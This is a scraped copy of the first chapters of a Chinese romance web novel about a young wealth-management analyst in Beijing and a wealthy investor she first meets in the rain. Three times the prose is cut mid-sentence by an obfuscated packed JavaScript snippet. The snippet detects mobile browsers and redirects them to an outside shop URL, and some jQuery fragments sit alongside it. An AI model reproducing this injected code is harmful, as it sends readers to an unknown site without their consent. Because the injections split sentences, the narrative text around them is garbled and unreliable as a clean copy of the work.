《野调浪漫》 1. 初遇 《野调浪漫》文/浮瑾 晋江文学城独家发表 林晚橙弯腰吭哧吭哧把办公室里一大捧压箱底资料抱出来的时候，窗外骤然打了声响雷，差点吓她一跳。 轰隆一声，可是一滴雨也没有，国贸的天色乍倾，暗得出奇。 室内却仍旧一片橘黄色的祥和，在北京盛夏灰蒙蒙的阴天里，也依旧弥漫着舒适的凉气，林晚橙终于找到自己需要的纸质参考材料，机灵地把柜子归位锁好，重新坐回座位上。 一个人工作总是孤独，尤其是在天杀的周六下午。 她在心里默默自我鼓励，过会儿就奖励自己一块芝士蛋糕。 就是楼下甜品店，最香的那一家。 林晚橙去厕所捧凉水洗脸，拿起手机才发现已经下午五点多了。可刚才镜子里的人脸颊苍白，嘴唇血色浅淡，像颗萎蔫的细草，看起来亟需美食救急。 叮的一声，说曹操曹操到。 是她的合租室友俞灿来送温暖：【妹宝什么时候回来呀！要不要点你最爱的那家糖醋小排，一起吃晚饭？】 林晚橙回了个哭泣的表情：【还没做完，你别管我了。】 俞灿一针见血：【昨天晚上熬到两点多，一大早又出门加班，又是你那个傻逼小老板在作妖？】 话糙理不糙，林晚橙头晕眼花，微叹一声。 ——下周的客户会到了周五晚上临近下班才告知她，不仅全无歉意，反而挺理所当然：“Chloe，这个Prospect（潜在客户）身份比较敏感，我就不把他信息提前跟你说了，待会儿我把他的股权资产和背景大概跟你列一下，你帮我做一个资产配置计划出来。周日……不，周六晚上交给我好了。” 说着还不信任地上下打量她一眼，“你以前做这种东西少，我得多花点时间改改。” 王惠平总是这样，明明组里有两个分析师，却总喜欢对她呼来喝去，像是格外喜欢她。 以前给的都是杂活累活，根本无法真正锻炼到投资视野，也展现不出她真正实力，今天倒不知什么风刮来了，让王惠平终于愿意分配点用脑子的任务下来。 Okk，好的，没问题哒。 再配个憨憨笑脸，卑微社畜回复的标准三件套。 官大一级压死人，林晚橙深刻理解职场规则——在成为somebody之前，她必须先忍耐着养精蓄锐。 那头手机又跳出一条消息，是俞灿一贯精彩的犀利评价：【黄金矿工都挖不出这么高纯度的神金。】 林晚橙被她的妙语连珠震到了，在空旷的办公室里笑出声。 低头看了眼密密麻麻的数据表，安静须臾，很快重新振作了起来。 身上的阿Q精神辉映到极致，姑娘默默心想，哈，我还偏就给你弄出个像模像样的东西来呢。 橙子圆滚滚：【应该晚上九点之前能弄好，等我凯旋！】 大鱼吃小鱼：【行，回来姐给你讲八卦~】 谁不爱听八卦，林晚橙顿时充满了干劲。视线又聚焦在电脑屏幕上，王惠平给的这位潜在客户资料颇为详细，除了人名和年龄抹去，其余基本清晰到位。林晚橙埋头苦干，继续认真整理PPT。 她做的画面一目了然，图表美观详实，文字措辞直击要点。 ——像模像样。 林晚橙对此确实有一些诚恳的自信。 工作两年多，也时常获得其他同事的夸赞，譬如聪明好学，坚韧耐心。 林晚橙觉得，自己是适合这份工作的。 不仅仅是勤勉，她想，做事“灵光”才是首要前提。 作为土生土长的南方姑娘，林晚橙出生在江浙一座叫勤州的小城，高考后北上求学，就读于北京一所还不错的大学，虽不算最顶尖学府，仍然努力度过了充实的四年，为自己是母校的学生感到自豪。 本科毕业那个夏天，她和其他同学一同站在人生的岔路口，凭借出众的专业成绩，得以被选入这个叫做中正金昂的大型中外合资投行，踏进这条在当时颇为冷门神秘的赛道——私人银行财富管理。 这到底是份什么样的工作呢？ 顾名思义，就是替有钱人管钱，进行各种投资和配置，让客户的财富保值、增值和传承。除此之外，还要帮客户处理各种大大小小非投资的事项和其他需求。 金昂私行部门的开户门槛高达一千万人民币，来这里开户的客人总流动资产往往过亿。 也就是说，只有真正的高净值人群才有资格成为金昂的客户。这些人大多都是上市公司的创始人和大股东，因此，在她们这一行，很多事情都是高度机密。 林晚橙偶尔听部门里的姐姐八卦吃瓜，今天谁谁带小三来公司开会，明天某某要把名下房产过户给私生子，后天谁和小明星闹出关系，这种新闻每天层出不穷，大家早已习以为常。 不过讳莫如深，只在提起时会心一笑。 上位者的国度人生如戏，林晚橙在其中小心斡旋，尽力做好自己本分内的事。 金昂给的待遇很好，校招毕业刚入职底薪就有将近四十万，这里是金字塔顶层的最佳观景席位，衣香鬓影，纸醉金迷，每个人都衣着光鲜亮丽，脸上挂着标致亲切的微笑。 那时她刚入行稚气未脱，千把块钱的开销仍是大数目，除了给爸爸妈妈汇去一笔丰厚薪资，仍忍痛咬牙为自己买了一只Goyard经典款托特包，一条入门级的尚美珍珠贝母项链，还有连续五天不重样的、颇为正式又得体的职业套装。 这些就花掉她好几个月工资。 有过来人说，这个行业最是水深，到哪里都是钱的印记，激流勇进，最难葆初心。 可林晚橙不这么觉得。 当时终于有能力也给父母打一次钱，用奢侈品将自己从头到脚武装完毕，双手空空站在北京钢筋水泥高楼大厦之间，她只觉得生活踌躇满志，轻盈而充满朝气。 林晚橙的理想很丰满：等她再爬得高一些，爸爸就不用再为他的生意到处奔波，妈妈也不用一个人孤零零地生活，过年的时候说不定还能三个人团团圆圆吃饺子，那样多好。 ——她永远记得2014年蝉鸣鼓噪的那个夏天。 野心这个关键词，成为她踏入这条河流最好的垫脚石。 …… 晚上八点，长时间盯屏幕到眼睛酸涩，林晚橙终于得空想起自己的芝士小蛋糕。 事情还差点眉目，但大脑亟需放空。此时天空还是灰蒙蒙的，空气湿热柔软，是北京盛夏独特的缠绵。她什么也没带，像一只蹁跹的蝶，步履明媚地直奔目的地。 蛋糕店在公司外一条街外，要穿街走巷，不是很好找。她是这家店老熟客，店员小哥认出她，很殷勤地询问：“林小姐，这牛乳布丁大概卖不出去了，我一块打包送你？” 林晚橙笑着道谢。 按捺不住偷尝了两口，浓郁的芝士味道弥漫口腔，瞬间幸福值爆满，摇摆一番，她决定将剩下的留到办公室慢慢品尝。走出店门的时候，一边哼着小曲儿一边低头看手机。 一下没看就多了几条未读信息，其中还有两则是客户发来的，在问有关于账户配置的问题。林晚橙赶紧挨个回复。 而后又看到王惠平的消息：【还没做好吗？】 林晚橙：【快好了，您稍等一下[憨笑]。】 那头没掩饰语气不耐：【快点哦，我还要改改呢。】 林晚橙：【好的[憨笑][憨笑]。】 王惠平：【股债大宗商品和另类投资记得都要涵盖，股票少选点科技个股，多选ETF，客户是专门看互联网科技行业的私募投资人，这点肯定比咱们专业，不要班门弄斧。】 林晚橙：【好的呢[憨笑][憨笑][憨笑]。】 王惠平：【[微笑]】 发表情有如发功，王惠平可能是怕她再像网购客服一样发一长串憨憨表情过去，闭上嘴没再念叨。 街上行人甚少，衬得路灯也形单影只冷冷清清，只有国贸间断不息的车流仍在有条不紊行驶着，晚风温凉，林晚橙一边往回走一边埋头打字，又看到一条消息。 是她的母上严妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224042|197536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春女士，语气颇为慈祥：【囡囡，下班了吗？吃饭了吗？】 其实没有，但她回答：【吃啦！】 严妙春发来个小爱心，问：【暑假你还回家来不？】 妈妈是高中老师，每年暑假都比较闲，一个人在家里找不到人陪，常常百无聊赖。 林晚橙还没说话，那头很快又补上：【不回来也没事儿，我找老赵她们搓麻将去[偷笑]】 林晚橙脚步慢了下来，他们这里夏天常常也很忙，因为老板们喜欢这时候休假。她不敢打包票，却也发过去一个小爱心：【我尽量看看。】 她不小心点进朋友圈。新发布的动态弹了出来，林晚橙没有防备，看到两个人相拥贴脸的亲密合照。 ——是她的前男友陈逐理。 分手已经一年多，此时谈不上还有什么情绪波动，只是许久没听到他消息，有些没反应过来。 听说后来他倒是如愿以偿找了个有钱女友，如今两人正浓情蜜意。 林晚橙目光往下落，看到他配的文案：两周年纪念。 她懵懵地眨了下眼，慢慢才反应过来。 两周年，那时他们还没有分手。甚至，他三心二意的时间，比她所以为的还要更长。 不是几天，也不是几周，是整整三个月。 ——他竟一点儿都不避讳。 她没拉黑陈逐理，原本是在用这种方式提醒自己。可是当真相兜头浇下来的时候，大脑还是忍不住有点发白。 就在这个当口，半空不知怎么开始下起了雨。 北京的天气总是说变就变，短短几瞬有如倾盆之势，林晚橙还没来得及挪动几步，淅淅沥沥的落雨便倾泻而至。 盛夏的大雨原来也有点冷，肩颈上的部分一下被浇了个半透。她想到自己穿的裙子，是珍贵的反绒羊皮，顿觉心疼。提着刚吃几口的蛋糕，像突然从梦幻国度掉回龃龉现实——此时此刻，她的狼狈就这么直白清晰地摊于面前，无处躲避。 鼻子里涌上股酸意，林晚橙咬牙抠紧掌心，勉强忍住了。 别哭，就是加个班而已，这没什么的。她在心里这样安慰自己。 及膝的杏色连衣裙浸湿后贴在腰身，潮雾四面八方侵袭过来，仿佛那些几欲翻涌的情绪。周围没有地方避雨，林晚橙深吸一口气，手臂环抱住纸袋小步往回跑。 北京深夜霓虹繁华，灯光和马路上来往的人流都被分割成一片片模糊又庄重的的色块，好像距离十分遥远。 直到“哔——”的一声刹车陡然响起。 喇叭声音在夜晚格外刺耳，林晚橙恍惚听到轮胎和柏油马路间沉闷的摩擦声，才倏忽回过了神，猛然停在离车身半米远处。 是侧后方驶来一辆颇为低调的暗色轿车。 司机很快摇下窗，惊疑不定地看向她。 姑娘眼眶微红，裙子贴着玲珑腰线，浑身上下湿了半边，柔软黑发也湿漉漉地搭在肩颈。 明明清汤挂面未施粉黛的一张脸，却因为眼睛被水意染亮而添出昳丽，只是看着年纪很轻，也不知怎么一个人在这淋雨。 司机脑中闪过几个猜测，欲言又止：“小姑娘，你没事儿吧？” 林晚橙缓了缓神，目光从对方的脸移到B字双飞翼车头上，又飘也似的晃回去，像是在摇头，眼神还带着点没落到实处的无措茫然。 视线一点点聚焦，隔着朦胧的雨幕，她看到半掩的车后窗边坐着一个男人。 疏淡却深邃的眉眼，落在夜晚浓郁的暗影里，像一幅半明半寐的画。 她想说什么，然而在截然不同的两难处境里，喉咙却有点涩住了。 可车窗进一步降了下来。林晚橙先看到一只骨节修长好看的的手，而后才见到他手腕上缀着浅光的铂金腕表。 万籁俱静中，时间在某一刻的对视里放慢了，路灯的暖调光源从他的下颌漫不经心掠过，循近轮廓分明的侧脸。 像是远雾里铺陈的一点灯火。 车里的男人递出把黑色雨伞，嗓音低沉得有种不真切感：“下雨天，当心点路。” 2. 雨伞 林晚橙回到家的时候俞灿刚洗完澡，裹着头巾瘫在沙发上敷面膜。 看她像个落汤鸡就这么踏进门，滋溜一下坐直身体，吃惊：“怎么淋成这样了？！” 公司卫生间里有吹风筒，林晚橙刚才还简单处理了下才回来，不然只会看上去更糟。当下皱皱鼻子，笑道：“补水。” 俞灿困惑看她，只见姑娘歪了歪头，补全整句话：“我五行属木命。” 俞灿愣了下，噗嗤一声：“神金啊！” 林晚橙生着一张白皙的鹅蛋脸，脸颊微肉但不是很多，所以仍是瓜子形状，一分不多一分不少，是去寺庙烧香都会被大师称赞的福相。笑起来的时候眼睛亮亮的，特别有神采。 外卖未散的香味特别诱人，俞灿到底还是点了她喜欢的糖醋小排，还剩了好几块没吃，专门给她留的。林晚橙像只馋嘴小猫一样眼尖地凑过去，十分自然地拆开一双筷子，准备进食。 俞灿说：“凉了，热热再吃。” 林晚橙听话地拿去微波炉打了三十秒，这才出来。 空气宁静而温暖，她觉得回家的感觉真不赖。 里屋第三个卧室房门仍旧紧闭，林晚橙一边大快朵颐，一边小声问：“Miki回来了吗？” “她啊——”俞灿拉长了嗓音，顺便也跟着朝那方向瞥一眼，意有所指道，“没呢。”而后语气深长，“要跟你说的八卦就这个，中午我出去吃饭，碰巧看到她又换人了。” 林晚橙短促地啊了声，以表达自己的震惊。 俞灿笑眯眯点头：“没错，上一位坚持了一个月左右。这回找的是位开卡宴的气质大叔。” 许久没见到梁卓怡,林晚橙几乎已经习惯只有两个人的合租生活。 她们租的房子就在国贸旁边，步行十分钟能到各自公司。 是窝藏在闹市中很不起眼的一幢老式公寓，院子里绿荫浓蔽，却很受小动物青睐，像一座朴实的世外桃源，每次都要和出租车司机讲得很清楚才能找到位置——哎没错没错，就路口很多鸟屎那地儿…… 最初三个人能凑在一起纯粹也是机缘巧合。 林晚橙毕业之际，被各种手续和入职流程折腾得心力交瘁，像活在象牙塔里，丝毫不知哪里租房地段好又便宜，更不知中介花式抽油水的套路，最后还是她老爸林朗山亲自出马，托朋友找到这个地方。 房东是位亲切的大姐，笑声爽朗，合租的两位室友则各有千秋。 俞灿是本地人，大她两岁，看上去苗条清秀，实则是很有主见的北方女孩。本科毕业于人大，硕士是海外名校，在一家互联网大厂的战略投资部工作。 另一位梁卓怡，也就是Miki，和林晚橙一样是本科就业，说自己专业读的是酒店管理，虽然小众但颇有前景。 一开始三人只是普通相处，礼貌疏离的点头之交，后来慢慢的就变得有些微妙——梁卓怡开始有一搭没一搭地不着家，偶尔见她回来，也是匆匆拿点东西就走。 平常用的倒都是好东西，四位数的化妆品，高跟鞋、靴子、大衣，各种品牌应有尽有，某天俞灿拉林晚橙去逛街，恰好看到有个男人接梁卓怡出去，开的是奔驰，年纪不轻。 后来过了段时间发现又换了个人，这回开的是宝马7系，男人弓腰为她拉开车门，姿态深情款款。 两人都自觉避让，回到家后默契地开启茶话会。 俞灿八卦嗅觉十分敏锐：“你觉得她真读的是酒店管理吗？” 林晚橙没料到这种事能发生在自己身边，她觉得背后擅自揣测别人不太好，默默憋出句思考：“其实……这可能是个鸡生蛋还是蛋生鸡的问题。” 俞灿愣了下，快要被她笑死。 她觉得这姑娘有种看破不说破，但却很呆萌的幽默感。 那天晚上俞灿邀请她一起看电影，两个人难得窝在一床被子里，尝试讨论点不同的话题。 那时候捞女这个词还很新潮，林晚橙不知道要怎么说——林朗山曾经教过她一个道理，是他在生意场上浸淫数十年保留下最精华的部分，那就是人和人在一起，一定要有价值交换。 凡事都是交换，别人的你情我愿，她没有资格指摘。 只是如果有机会让她来选择，她不会去做这样的交换。 ——林晚橙理想中的交换是更加自尊的。 就像是她在金昂的工作，她喜欢这份工作，因为每一秒钟都如此体面。 和其他机构卖理财产品那种钱货两讫的性质不一样，这里每一单都是数以百千万计的金额，真正的投资洞见才是最有价值的东西。 二级市场，股票，衍生品，杠杆……要学的东西很多，太虚与委蛇反而显得不专业。 只有为客户赚到了钱，才算是为他们提供了价值，同时也证明了自己。由此便可以心安理得享受后续爬上山顶看到的美妙风景。 堂堂正正地赚钱，林晚橙始终觉得这是一件很容易也很难做到的事情。 功名利禄场中诱惑太多，稍有不慎就难独善其身。人性复杂难测，哪怕管中窥豹已足够唏嘘。 林晚橙谨慎而慢热，那天晚上像是真正打开了心扉，两个女生的心在这座繁华偌大的城市里拉得更近了一些。 彼时金融危机的余韵才刚结束，一切百废待兴。她们撞在一起，像是满心期待坦途和阳光的雏鸟。 ——还有什么比在谷底的时候更差吗？ 都有种满满底气的自信感。 后来两人时常会窝在一起看电影，东南西北地扯闲篇。俞灿言谈举止常常透着一种眼界开阔的清醒味道，林晚橙猜她家境殷实。 俞灿问她：“你家里做什么的？” 林晚橙答：“我爸爸自己在北京做生意，信息基础设施有关的，从我小学的时候就过来了。” “创业吗？” “嗯，就到处跑跑项目。” 现在是互联网发展的黄金时期，俞灿由衷地点点头：“好厉害。” “也谈不上啦。” 林晚橙有几分说不出口的情绪。又自豪又心疼，她心疼林朗山连轴转的辛苦。熬了这么多年终于能赚个百八十万，可底下还要养活几十号人。有时候晚上和甲方应酬，还是要敬酒敬到面红耳赤，不醉不休。 所幸俞灿这时又问：“你妈妈呢？” “她在老家教书，是语文老师。”林晚橙问，“你呢？” “我妈是公务员，我爸在交管局。” 俞灿没有多说，林晚橙也就识趣地没有多问。 - 洗完澡换好干净衣服出去时，林晚橙看到俞灿正站在鞋柜旁，正饶有兴致地研究着什么东西。 她眨了下眼，意识过来什么，快步上前：“姐——” 像抓获什么赃物，俞灿指尖点在金属伞头贵气的标志上，扬了下眉：“老实交代，这外头买不到的东西哪儿来的？” 林晚橙微顿一瞬。 她不知怎么交代那些在大雨中细碎的失意瞬间，也不好说隔着雨幕匆匆交汇那一眼，于是答：“可能是客户落在公司接待厅的，今天下大雨，我没带伞，就借用了一下……” 转而又问，“市面真买不到吗？” “宾利慕尚的车用配伞，”俞灿敲她脑袋，像在揶揄她拙劣的话题转移，“闲鱼上挂了倒是可能卖十万块。” 倒也不是真这么贵，就是有价无市，林晚橙状似思考了下：“那我以后每天都在公司楼底下捡伞，捡够两百把是不是就能光荣退休了？” 哪有那么多有钱人丢伞？俞灿觉得她这脑回路挺可爱：“你的女企业家宏图呢？对职业前景的远大畅想呢？” “那自然是万万不能丢的。” 林晚橙秒变认真，捧着脸，煞有介事地笑了：“我考虑过了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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比如极其地节省，大部分时间都呆在学校里，能不去外面下馆子就不去，花钱精打细算，生日送她的礼物也并不奢侈。偶尔谈起身边家境更富裕的同学，也好似多了几分冷硬、消极的情绪。 他在金钱上委屈她，更苛待自己，但那时的林晚橙还没把这当成一个很大的问题。她尚未见识社会，不知一切都是那么昂贵，总是乐观地想——我们总有一天会变得更有钱的，不是吗？ 然而等到金昂的offer下来，她才知道一切都没那么简单。 也仍旧是在那棵榕树下，他们爆发了两年中最严重的一次争吵。 陈逐理问她：“所以你找的这个销售工作就是要去陪酒么？” 他不理解自己没见过的东西，草率地将她归为自己浅薄见识里的某一类人。 “不是，我们不用那样的！”说是销售，其实就是投资顾问。金昂的客户规模都很大，留给他们的自主性也很高。 画面里林晚橙看着自己皱眉但却认真同陈逐理解释，跟他讲他的理解有失偏颇，不免觉得有些可笑——当初怎么没意识到这是在白费口舌。 “那又怎样？客户就是客户，不管他们要做什么，都得巴巴地凑过去不是吗？高级的跪舔也是跪舔。” 陈逐理扭开头不愿看她，“林晚橙，坦白说我觉得做私行销售挺奇怪的。如果你还尊重我的话，就别接这份工作。” 没偷没抢，哪里“奇怪”？ 她当时觉得莫名其妙，甚至有些不可理喻，后来过了很长一段时间才反应过来，原来那时候他就已经遇到了现在的女友，正想方设法像扔垃圾一样摆脱掉她。 但不管怎么说，当时愤怒也好，失望也罢，林晚橙都觉得自己给予他的回复过于温情忍让。 “你是不是遇到什么不开心的事？”她很小心地问，“我们都先冷静一下好吗？” 有什么好冷静的？她只恨自己当时没立刻扇他一个大耳光。 仿佛福至心灵，林晚橙忽然发现自己手里多了一把纯黑色的宾利雨伞。 面前陈逐理的表情仍然欠揍，她想也没想，举起武器对着他大腿根恶狠狠扫了过去。 如愿以偿听到那声惨叫，林晚橙在梦里笑弯了眼。 3. 顶包 天气很晴朗，盛夏阳光灿烂，周一大早，林晚橙就坐在梳妆台前化妆。 是那种很清透的日常妆容，既没有过分修饰，又衬出水里掐蜜的好气色。俞灿咬着吐司面包经过旁边时都忍不住多看了两眼，毫不吝啬夸奖：“我们妹宝真漂亮哎。” 林晚橙刚上过浅浅腮红的脸像是又潋滟了些，努力端稳画眼线的手。 合租两年多，俞灿是一点点看着她的技术进步的。 最开始她完全不会化妆，眉毛画得尤其逊，手也不听使唤，总造出两道歪歪曲曲的煤炭线，后来就跟着网上那些教程认真地有样学样，才到了如今愈发娴熟的地步。 这姑娘就这点厉害，很善于观察和学习。 就像她猛啃自己起初完全不了解的那些奢侈品牌、设计师理念和成立渊源，法语和意大利语的读音难念，在家里反复练习背诵，以免和客户聊天时出糗。 偶尔还会读一些心理学、历史和哲学类的书籍，方便自己言之有物，什么话题都能接上。 客户喜欢车，她就跑到4s店，把所有类别和档次的豪车功能都研究一遍。 也许是功利主义，但林晚橙的功利心目的明确又大大方方，反而带着一种诚实的坦率，很讨喜。 …… 这样讨喜的姑娘在一片朝气之中哼着歌儿走出小区，步入国贸商城。 进办公室前需要途径偌大的商场，她早已习惯了沿途景色——悠扬的钢琴音乐悦耳，各色奢侈品牌林立，陈列的橱窗柜里是她就算多看一眼都会咋舌的价码。 不过林晚橙依然很享受商场中央人为演奏出的美妙乐曲。 早上八点四十，股市还没开市，办公室寥寥无人，林晚橙找到自己的工位，满心踏实地坐下。 作为金昂私行的一支销售前锋小队，她所在的团队架构十分简单轻盈，就五个人——一个MD董事总经理，两个VP副总裁，底下两个干活打杂的analyst小将。 上面大老板负责拉新钱进来，下面分析师管理现有账户的投资，中间的vp则两边兼顾，指导投资的同时也要尝试自己出去找一找客户。 王惠平是中等职级里最游手好闲的那一位，平常呆在办公室抠脚吃瓜子,最大的乐趣就是指使林晚橙干活，美其名曰让她历练。很少出去跑客户,只有大老板问起来才稍微努力装装样子。 这回突然开始发力，也真是太阳打西边出来了。 林晚橙本来担心对方周日就给出反馈要她再加班，结果令人舒心又糟心的是，直到周一早上九点半，这位才慢悠悠地回复她微信。俨然忘了自己周六急得跟什么一样。 其实没改哪里，就提了几个不痛不痒的小地方，有关于字号和格式。 还额外多加了一条要求：【你根据这个PPT写一个逐字演讲稿出来，大约10分钟时间。】 这种资产配置的计划方案，通常是去开发新客户的时候准备的。林晚橙不知道她是不是想带自己一起去见潜在客户，才想先写出稿子确保万无一失。别的组已经有这种先例，但她觉得王惠平不会这么好心。 毕竟从这连客户名字都保密的做法就可见一斑——防友商竞争抢人也就算了，连底下的员工都不告诉，明摆着只把她当工具人。 午休时间，大家都出去吃饭，还有很多同事在外出差，和她同组的另一个analyst蒋晨趁机凑过来，压低嗓音问：“听说惠平姐又让你周六干活了？” 作为组里唯二两个分析师，他俩前后脚入职，共同工作也快两年。蒋晨主要对接的是另一位叫Frank的男VP，很少和王惠平共事。 林晚橙看向他，蒋晨立刻神情了然，递出来一个很隐秘的同仇敌忾眼神，略带批判。 “总这样也太难了吧，”他语气颇具同理心，带着安抚意味，“唉，其实下次再有这种事你可以跟我说的，我们一起完成。” 他的意思一目了然，在找站队队友。 林晚橙看破不说破，露出浅浅酒窝：“行呀，那下回咱们有福同享。” 到了下午，王惠平仍旧人间蒸发，看到她交的逐字稿也没说什么。直到第二天中午快结束，才火急火燎地回到工位。 她整理资料的动作有些匆忙，与此同时，林晚橙察觉到门口有些躁动，办公楼的服务人员们打开了外面最隐秘的一间大会议室，端着茶水鱼贯而入，还有工作人员进入房间调试投影设备。 是有什么大客户计划到访吗？ 就在这时，她接到大老板Jane的电话：“Chloe，周末你给惠平做了一个潜在客户的材料是吗？” “是的。” “她有没有跟你说跟对方的见面就定在今天下午两点半？” 难怪王惠平刚才就已经坐进会议室里了，时间还差十五分钟，林晚橙落在屏幕上的视线蓦地一跳，如实回答：“没有。” Jane皱了皱眉，她和另一个VP都在上海出差,也是临时听排会议室的秘书说起这场会面。这么有潜力的客户，理应由她自己出面，王惠平约对方之前并未提前给她汇报。 也不给底下的员工提前说声，是想一个人把这瓷器活儿全揽了？ Jane心底不悦，但事已至此，还是雷厉风行地给出指令：“一会儿你跟着她一起去见客人，帮我做好会议纪要，打点一下场面。” 她现在这个位置还很少能参与新客户会面，这明显是Jane有意在给她机会。 林晚橙指尖一紧，久违的兴奋跃动起来，又很快压住。尽量保持语气平稳，试探问：“这位客户是？” 她从那头的须臾沉默中能听出老板气压变得更低了些，在这个合适的间隙，苦恼地透露道：“惠平姐也没告诉我对方是谁。” “……” 林晚橙进入会议室的时候王惠平正在翻看材料。 对于这个照面，后者略眯起了眼但欲言又止——明显是从Jane那儿接收了指令，隐而不发。又因为客户马上就到，有些紧张和手忙脚乱。 会议室一切准备就绪，两杯热伯爵茶冒着醇厚香气，但王惠平还在疯狂切换界面，把可能准备到的网页都全数打开。 林晚橙电脑屏幕上的网络搜索界面也仍在不断滚动，在最大程度上快速浏览和记忆信息。 “席准，博源资本合伙人，31岁，出生于北京，美国本硕学位，挂名清华业界导师顾问……” 林晚橙在他的履历里看到了NYU Stern和斯坦福的关键词，三年就读完本科，下面是密密麻麻荣获的奖项，都是他入行近十年来在私募投资领域浓墨重彩的经历。 禁不住有些咋舌。 再大略扫那么一眼，又了解到席准在早年间独具慧眼投了知名的互联网公司腾越，如今已经成为上市企业中的龙头。 林晚橙算了算，不说那些林林总总未上市的企业持股，光是他在腾越的股权变现，都足够成为金昂极有份量的大客户。 更别提他的薪资收入，是每年都能在他们这儿赚出一两个户的程度。 时间在一分一秒地流逝。 外面电梯间似是随时都要落下清脆“叮咚”一声，玻璃门自动开合。 坦白说，林晚橙觉得自己还没有准备好。 她其实很紧张，思绪也过度紧绷，然而就在这时，厚重的木质门倏忽被人推开，伴随着皮鞋在大理石地面踩出不轻不重的脆响。 西装革履、身姿挺阔的高大男人阔步踏进房间，电光火石对视上的那个瞬间，林晚橙下意识一凛，心跳的频率顷刻跳升。 ——是那天晚上坐在车上的男人。 林晚橙定定看着他，对于这件事还没来得及形成任何认知，就见王惠平十分殷勤地凑了上去，抖落这段时间做的功课：“是Shawn总对吧？我是惠平，辛苦您专门来公司跑一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224044|197536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 趟，来，您喝点热茶。” “谢谢，叫我Shawn就好。” 席准的风格简单干练，面庞表情很淡漠，也很锐利。他没有坐在会议室的主位，而是选择在林晚橙和王惠平的对面落座，侧对着投影大屏幕。 跟在后面的男人应当是他的助理，两人一左一右，助理刘岩拿出笔记本电脑，客气而略带几分疏离地笑道：“那惠平总，就按照咱们之前说的半小时，随时可以开始，谢谢您。” “好嘞好嘞。”王惠平狗腿地倾身越过半边桌子，把茶杯推过去，才点开PPT。 她没有介绍一旁的林晚橙，姑娘就抿唇准备好word文档，听王惠平开门见山：“那咱们前话不多说，之前有了解到您这边的一个流动性需求，希望是全大类资产配置都看看，所以我们做了一个完善的财富配置方案——” 在一起工作这么长时间，林晚橙就没见王惠平这么拘谨过。 她明显是有认真准备功课，在原有的PPT基础上多堆积了一些额外的产品资料，只不过林晚橙能听出来，里面夹杂了不少自己写的逐字稿内容，单纯读稿的时候就显得有些干巴巴的。 而那些内容她都烂熟于心，一边记会议纪要一边默默在心底重复跟念，甚至能够预设王惠平下一句话是什么。 “我们是建议，可以在您现在持有的科技公司股权类资产的基础上，再多配置些固收、大宗商品和另类投资资产……” 王惠平洋洋洒洒讲得口干舌燥，而这个过程中，席准沉静听着，始终没有说一句话。 这人仅仅坐在那里就有种不容忽视的上位者威压，很淡，并不使人觉得居高临下，但林晚橙不知怎的，觉得空气隐隐有些憋闷。 他……还记得吗？ 刚才有几次视线明显对上彼此，她确定没在席准目光里看到任何特别的情绪波动。 结果不言自明。 林晚橙说不上自己是什么心情，也许那种狼狈时刻忘记也是好的，会议室暖气开得不足，她脸上热热的有点升温，视线禁不住从桌面不动声色上移一些。 男人眉眼深邃，五官英挺，下颌线轮廓锋利，浑身上下唯一偏柔软一点的部分可能是唇，偏薄，色泽浅淡。 林晚橙被自己脑内忽然蹦出的那个念头吓了一跳，埋着头正襟危坐起来，放飞的想象力如风筝线一样啪的断掉，迅速落了下来。 ——她觉得自己这样太不专业了，被这种羞愧促使着顺带低了脑袋，假意研究王惠平在PPT附录后面多增加的那堆毫无逻辑重点的资料。 而耳边干巴巴的语调还在滔滔不绝：“我们的这种全资产配置服务，正好能够满足您的需求……” 一个满足需求翻来覆去讲了八百遍。 刘助理皱了皱眉，低头看表,也才只过去十五分钟。 他觉得这场会面挺浪费老板的时间，也远低于他的期待——腾越在A股和港股两地上市，老板不想出售股权，但是亦需要流动性和现金，希望能做一些结构性衍生产品释放融资。当初看中金昂就是因为他们在大陆和香港都有牌照，还以为会有一些针对性的提案，没想到资质如此平庸。 刘助理希望老板不要生气，但半晌未听席准置评一词，不由得暗暗松了口气。 也对，Shawn总情绪一贯深藏不露，不会过多表现喜怒。 心里这么想着，他悄悄侧眸观察了一眼，却意外发现男人此时正垂视前面，在注视别的地方。 刘助理下意识也顺着那道目光，自然而然地落在对桌，那个负责记会议纪要的姑娘身上。 从这个角度看，她脸很小，睫毛微微耷下去，轻抿着唇，脸颊有些红。也许有点青涩，也许已经粉饰得几近圆融，但不管从哪个角度说，那种一眼就能看穿的年轻毋庸置疑。 不是才刚毕业吧？ ……金昂都是从哪儿找来的这些草台班子员工啊？ 4. 信物 姑娘耳边的碎发搭在一侧脸颊，披散在肩头的长发乌黑，衬得整个人愈发柔软，刘助理看着看着也差点走了神，少顷被敲桌子的声音唤回了思绪，整个人一凛，赶紧集中注意力。 是老板两指轻叩台面，终于开口问了第一个问题。 “金昂和其他私人银行比优势在哪里？” 这是很泛的一个问题。 坐在席准对面的林晚橙心里也一紧。在学校里丰富的面试经验告诉她，这不是一个好兆头。 只有当面试官在前述交流中挖掘不出任何亮点、兴致寥寥的时候才会问——讲讲你自己的优势在哪里？ 